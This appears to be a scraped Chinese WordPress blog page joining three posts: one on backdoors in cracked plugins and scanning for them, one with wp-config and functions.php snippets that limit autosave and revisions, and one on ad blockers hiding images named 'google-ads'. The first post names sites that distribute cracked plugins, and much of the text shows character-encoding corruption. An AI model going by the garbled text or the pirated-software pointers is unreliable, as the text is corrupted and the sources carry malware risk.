希望我們網(wǎng)站( http://www.bkxoo.cn/ ) 分享的《個(gè)人如何選擇網(wǎng)站空間?外貿(mào)企業(yè)公司網(wǎng)站空間多大合適》,對(duì)您有幫助。
1 ?后門(mén)是什么意思?
WordPress是全球最多人使用的免費(fèi)開(kāi)源建站程序,有很多網(wǎng)絡(luò)營(yíng)銷(xiāo)人員都用WordPress建站做SEO流量賣(mài)廣告、賣(mài)會(huì)員、賣(mài)產(chǎn)品、賣(mài)服務(wù)……
最近我們打算購(gòu)買(mǎi)某款WordPress插件專(zhuān)業(yè)版,就去谷歌搜索了解,無(wú)意發(fā)現(xiàn)到有網(wǎng)站專(zhuān)門(mén)提供WordPress插件和主題的破解版的免費(fèi)下載。
索性嘗試下載來(lái)使用,但是感覺(jué)不太對(duì)勁:為什么這些提供免費(fèi)下載破解版的網(wǎng)站,完全沒(méi)有盈利模式,網(wǎng)站上也沒(méi)有其它廣告?
由于網(wǎng)站有被黑過(guò)幾次,所以使用破解版軟件、插件或主題,都是非常小心翼翼地以防萬(wàn)一有“后門(mén)”漏洞程序。
以下就是2020年08月31日我們網(wǎng)站網(wǎng)站被黑的截圖 ▼
解決被黑問(wèn)題,就是直接重裝CentOS 7操作系統(tǒng)和改為安裝CWP控制面板,然后恢復(fù)網(wǎng)站備份 ▼
CWP控制面板如何設(shè)置定時(shí)自動(dòng)備份和恢復(fù)備份?
上次我的網(wǎng)站被黑已經(jīng)是幾年前的事情(具體哪一年已經(jīng)忘了)。最近(2020年8月31日)網(wǎng)站服務(wù)器被來(lái)自印尼的黑客入侵和篡改,有可能是使用了不完善的VestaCP 面板。 解決被黑問(wèn)題,就……
主要來(lái)自“特洛伊木馬”,后門(mén)的意思就是指軟件添加了漏洞,就好像開(kāi)了你家的后門(mén),方便入侵盜取信息。
以下2個(gè)網(wǎng)站提供各大WordPress插件破解版、WordPress主題破解版:
1)WPTRY ▼
點(diǎn)此進(jìn)入 WPTRY 網(wǎng)站
2)PremiumFreeThemes?▼
點(diǎn)此進(jìn)入 PremiumFreeThemes 網(wǎng)站
有2種方式可以?huà)呙杈W(wǎng)站源碼有沒(méi)有后門(mén)文件:
推薦用此WordPress網(wǎng)站安全掃描插件——Wordfence Security 進(jìn)行批量掃描WordPress網(wǎng)站上所有主題和插件,檢測(cè)是否有PHP后門(mén)漏洞文件 ▼
點(diǎn)此進(jìn)入WordPress插件官網(wǎng)免費(fèi)下載 Wordfence Security 插件
幫助你分析可疑文件和URL,檢測(cè)惡意軟件的類(lèi)型的在線(xiàn)工具?▼
點(diǎn)此進(jìn)入 安全掃描查找PHP漏洞文件在線(xiàn)工具
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《如何掃描網(wǎng)站源碼有沒(méi)有后門(mén)文件?在線(xiàn)查找PHP木馬漏洞》,對(duì)您有幫助。
1 WordPress自動(dòng)保存功能有什么用?
WordPress的自動(dòng)保存、自動(dòng)草稿和修訂版本功能,一直受到網(wǎng)絡(luò)營(yíng)銷(xiāo)人員的批評(píng)。
不過(guò),WordPress是世界上最受歡迎的網(wǎng)站程序:
WordPress自動(dòng)保存可防止編輯器意外關(guān)閉并導(dǎo)致文章內(nèi)容丟失。
但是,此功能可能會(huì)導(dǎo)致數(shù)據(jù)庫(kù)膨脹,并無(wú)緣無(wú)故地添加大量無(wú)用的垃圾。
幸運(yùn)的是,有一個(gè)WordPress插件 “Easy WP Cleaner” 可以刪除這些垃圾。
問(wèn)題就在于這種“減肥過(guò)程”非常痛苦,本文會(huì)分享解決此問(wèn)題的最好方法。
WordPress的另一個(gè)非常煩人的功能是自動(dòng)草稿。
即使你退出編輯器,數(shù)據(jù)也會(huì)寫(xiě)入數(shù)據(jù)庫(kù),無(wú)論你是否鍵入數(shù)據(jù)。
實(shí)際上WordPress的修訂版本功能非常有用,用戶(hù)可以檢查更改并執(zhí)行版本控制。
事情總是有兩面性,就像自動(dòng)保存功能一樣,忽略這些變化會(huì)給數(shù)據(jù)庫(kù)帶來(lái)不必要的負(fù)擔(dān)。
其實(shí)WordPress中有很多隱藏的功能,可以通過(guò)在WordPress安裝根目錄的wp-config.php文件的功能,根據(jù)需求進(jìn)行配置禁用或啟用。
不少使用WordPress建站的朋友,都想禁用WordPress自動(dòng)草稿,而不是自動(dòng)保存。
以下代碼解決了這個(gè)問(wèn)題。
由于WordPress的機(jī)制,無(wú)法完全禁用自動(dòng)保存,但你可以通過(guò)設(shè)置較長(zhǎng)的時(shí)間間隔,來(lái)實(shí)現(xiàn)類(lèi)似的效果,例如 ▼
define( 'AUTOSAVE_INTERVAL', 3600 ); // 默認(rèn)是 60,3600秒表示自動(dòng)保存間隔1小時(shí)
// WordPress設(shè)置自動(dòng)保存間隔/秒 define('AUTOSAVE_INTERVAL', 3600); // WordPress設(shè)置修訂版本最多允許幾個(gè) define('WP_POST_REVISIONS', 3);
你可以將以下定義,添加到你的 WordPress 站點(diǎn)的 wp-config.php
文件中 ▼
define( 'AUTOSAVE_INTERVAL', 3600 ); // 3600秒表示自動(dòng)保存間隔1小時(shí) define( 'EMPTY_TRASH_DAYS', 7 ); // 在 7 天后被刪除 define( 'DISABLE_WP_CRON', true ); // 禁用內(nèi)部Wp-Cron函數(shù) define('WP_POST_REVISIONS', false ); // 禁用文章修訂版本
define( 'AUTOSAVE_INTERVAL', 86400 );
自動(dòng)保存間隔24小時(shí)無(wú)法生效。如果方法1的禁用文章修訂版本無(wú)效,需要使用以下WordPress禁用所有文章類(lèi)型的修訂版本的代碼。
請(qǐng)?jiān)赪ordPress主題模板文件functions.php
中,添加以下禁用文章修訂版本代碼 ▼
// WordPress禁用所有文章類(lèi)型的修訂版本 add_filter( 'wp_revisions_to_keep', 'cwl_wp_revisions_to_keep', 10, 2 ); function cwl_wp_revisions_to_keep( $num, $post ) { return 0;}
WordPress禁用某種文章類(lèi)型的修訂版本的代碼 ▼
// WordPress禁用某種文章類(lèi)型的修訂版本 add_filter( 'wp_revisions_to_keep', 'cwl_wp_revisions_to_keep', 10, 2 ); function cwl_wp_revisions_to_keep( $num, $post ) { if ( 'post_type' == $post->post_type ) { //引號(hào)中post_type改為你想禁用修訂版本的文章類(lèi)型 return 0; } return $num; }
至于WordPress自動(dòng)草稿,你無(wú)法禁用它們,有個(gè)重要的原因。
Audrey Capital(Matt Mullenweg 的天使投資公司)的技術(shù)忍者 Samuel ‘Otto’ Wood說(shuō):
之所以存在自動(dòng)草稿,是因?yàn)槎鄠€(gè)用戶(hù)可以同時(shí)創(chuàng)建新帖子。如果兩個(gè)人幾乎在同一時(shí)間進(jìn)入 post-new,然后他們的第一次自動(dòng)保存幾乎同時(shí)發(fā)生,那么就會(huì)出現(xiàn)競(jìng)爭(zhēng)條件,可能導(dǎo)致其中一個(gè)人取回錯(cuò)誤的帖子 ID,這將導(dǎo)致帖子被覆蓋/丟失,當(dāng)他們繼續(xù)編輯帖子時(shí)。
自動(dòng)草稿會(huì)在顯示編輯屏幕之前創(chuàng)建帖子并獲取新帖子的 ID,從而防止兩個(gè)同時(shí)作者在瀏覽器的數(shù)據(jù)中意外地?fù)碛邢嗤奶?ID。
負(fù)責(zé) WordPress 的 TinyMCE 集成的 Andrew Ozz說(shuō):
這也使得在保存第一個(gè)草稿之前上傳圖像成為可能,并且它們將準(zhǔn)確地附加到新帖子中。
對(duì)于使用帶有古騰堡編輯器的 WordPress 5.0+ 版本的人,下面的代碼片段可以禁用自動(dòng)草稿/保存 ▼
/** * 禁用古騰堡編輯器自動(dòng)保存 (間隔 3600秒) */ add_filter( 'block_editor_settings', 'cwl_block_editor_settings', 10, 2 ); function cwl_block_editor_settings( $editor_settings, $post ) { $editor_settings['autosaveInterval'] = 3600; return $editor_settings; }
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress文章如何禁止自動(dòng)保存草稿/禁用修訂版本?》,對(duì)您有幫助。
1 為什么網(wǎng)站無(wú)法顯示帶有g(shù)oogle-adsense命名的圖片?
WordPress為何無(wú)法顯示帶有g(shù)oogle-adsense命名的圖片?
在我們網(wǎng)站發(fā)布文章,想要揭露網(wǎng)上合法貸款騙局,首張圖片命名中包含“google-ads”,一直無(wú)法顯示該圖片。
起初以為是空間商禁止了此類(lèi)圖片名稱(chēng),就想到在本地電腦上做個(gè)測(cè)試。
在本地電腦測(cè)試后,發(fā)現(xiàn)WordPress文章編輯器仍然無(wú)法顯示帶有g(shù)oogle-ads命名的圖片:
google-ads.jpg
google-adsense.jpg
google-ads.png
google-adsense.png
在前臺(tái)也無(wú)法顯示此類(lèi)圖片。
多想想為什么,也許就會(huì)想到答案。
突然想到,是因?yàn)椴幌Me(cuò)誤點(diǎn)擊自己的AdSense廣告,索性啟用了廣告屏蔽插件,不料竟然連帶有g(shù)oogle-ads命名的圖片也自動(dòng)屏蔽了。
所以為了避免已啟用廣告屏蔽插件的訪客,無(wú)法查看顯示帶有g(shù)oogle-ads命名的圖片,建議不要以“google-ads”作為圖片名稱(chēng)。
不以“google-ads”作為圖片名稱(chēng),重命名為其它名稱(chēng)即可。
例如:將圖片重命名為“ggads
”或“gg-adsense
”。
在此做個(gè)記錄,以免忘記犯錯(cuò)又浪費(fèi)時(shí)間了。
順便提醒所有使用WordPress建站的朋友,需要注意避免帶有“google-ads
”或“google-adsense
”之類(lèi)命名的圖片。
擴(kuò)展閱讀:
WordPress外鏈特色圖片插件:Featured Image from URL
WordPress如何添加外鏈特色圖片?Featured Image from URL插件設(shè)定雖然用WordPress建站有很多優(yōu)勢(shì),但是在WordPress默認(rèn)的媒體庫(kù),并不是那么好用:上傳圖片會(huì)自動(dòng)裁剪生成各種尺寸……
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress為何無(wú)法顯示帶有g(shù)oogle-adsense命名的圖片?》,對(duì)您有幫助。